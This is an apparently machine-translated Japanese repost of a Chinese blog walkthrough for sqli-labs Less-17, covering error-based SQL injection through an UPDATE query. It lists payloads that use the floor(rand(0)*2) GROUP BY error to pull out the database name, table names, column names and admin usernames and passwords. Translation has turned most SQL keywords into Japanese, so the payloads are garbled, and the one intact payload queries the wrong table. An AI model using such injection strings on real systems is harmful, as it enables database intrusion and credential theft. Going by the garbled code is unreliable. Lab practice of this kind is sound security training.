SQLI-ラボless17更新クエリ・エラーに基づきます

予備知識:ロジックまたはロジックを持つと

    (1)AまたはB:trueの場合は、次に何チューブBは、直接にtrueを返していません。

    (2)AおよびB:falseの場合、何チューブBは、直接falseを返していません。

    (3)優先度:等号>及び>または。

  アプリケーション:

    (1)

更新ユーザーは、SETパスワードを= 「」 または 0  WHEREユーザー名= ADMIN (三つのフィールドがあり、図中のID、ユーザ名、パスワード)

      

    (2)

更新ユーザーが設定したパスワードを= 1234  または 0 のユーザ名= 管理者を

      

    (3)

更新、ユーザーが設定したパスワードを= 「」  1  どこ= 管理者

      

    (4)

更新、ユーザーが設定したパスワードを= 1234   1を どこ= 管理者

      

 

本体:

1、データベース名にアクセス

 

' または(CONCAT_WSによってSELECT COUNT(*)INFORMATION_SCHEMA.TABLESグループから(' - '(データベースを選択します())、床(RAND(0)* 2)))ユーザー名='管理者- //不要忘记空格
或者
1234 '  選択 *から INFORMATION_SCHEMA.TABLESのグループ によって CONCAT_WS(' - '( 選択 データベース())、ランド0* 2)))ここで、ユーザ名='管理- 

2、セキュリティテーブルに取得したデータ

' または(CONCAT_WSによって選択数(*)INFORMATION_SCHEMA.TABLES基から(' - '(ここでTABLE_SCHEMA = INFORMATION_SCHEMA.TABLESからGROUP_CONCAT(TABLE_NAME)を選択し'セキュリティ)、床(RAND(0)* 2)))ここでユーザ名= '管理者' - 
或者
1234 '  選択 *から INFORMATION_SCHEMA.TABLESのグループ によって CONCAT_WS(' - "、(選択 GROUP_CONCAT(table_nameの)から INFORMATION_SCHEMA.TABLES どこにTABLE_SCHEMA = ' セキュリティ')、ランド0* 2)))ここで、ユーザ名= ' 管理者' - 

図3に示すように、ユーザは、テーブルのフィールドを取得します

' またはCONCAT_WSにより、(SELECT COUNT(*)INFORMATION_SCHEMA.TABLESグループから(' - '(information_schema.columns TABLE_SCHEMA =からGROUP_CONCAT(COLUMN_NAME)を選択し'セキュリティ' とtable_nameは= 'ユーザー" )、床(RAND(0) * 2)))ユーザー名= '管理者' -

4、ユーザーがユーザー名とパスワードを取得します

' or (select count(*) from information_schema.tables group by concat_ws('-',(select concat_ws('-',username,password) from information_schema.tables where table_name='users' limit 0,1),floor(rand(0)*2))) where username='admin'-- 

 

おすすめ

転載: www.cnblogs.com/jielun/p/11001475.html
おすすめ